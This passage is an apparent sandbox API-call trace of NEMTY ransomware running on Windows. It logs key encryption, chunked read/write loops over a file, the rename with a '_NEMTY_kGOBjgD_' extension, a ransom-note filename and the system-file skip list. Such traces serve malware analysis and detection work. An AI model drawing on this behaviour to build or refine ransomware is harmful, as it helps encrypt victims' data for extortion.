lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0133.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0133.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0133.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0133.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0133.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0133.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0133.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0133.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0133.458] Sleep (dwMilliseconds=0x5) [0133.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333b930, dwHighDateTime=0x1d561e8)) [0133.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333b930, dwHighDateTime=0x1d561e8)) [0133.471] GetLastError () returned 0x5 [0133.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.471] GetLastError () returned 0x5 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0133.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0133.472] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0133.472] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="CnvPANpVWMtXo1+RPiWcGQYwlOkiXdXt41DXIaShURufGA+pzoTpoFBq7zBstiiE\r\n7fAFjoBlbR/gVtYjs3UH0BIfKLtd6qXty6PChRK/SPsaSMM9uZgvQ5HIDH5T4jJ6\r\nK8Lierp892FyqK2pw5Plgd3DHmxlA/prqyMuJ1RtB+e+zOOCcCC8sbHNWkPW1xMr\r\nG73wgxWJd5Y0vIKwy4RBcStAC1kOIIFE2BluOyYNZRKalh42PJKDjV2DJw1ABUqt\r\npTuW5G/aTa1TiAm8fFaYojcIFUzgri3KqrVLYDoXh4GL242Etov19H6wkPOGhETy\r\nd5YglmYZn9ZeeDjKVqzkQg==\r\n", pcchString=0x653e91c) returned 1 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0133.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.472] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.472] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0133.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.580] CloseHandle (hObject=0xffffffff) returned 0 [0133.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0133.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0133.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js._nemty_kgobjgd_")) returned 0 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0133.581] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e4cd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x31e4cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x31e4cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0133.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0133.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0133.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0133.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0133.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", 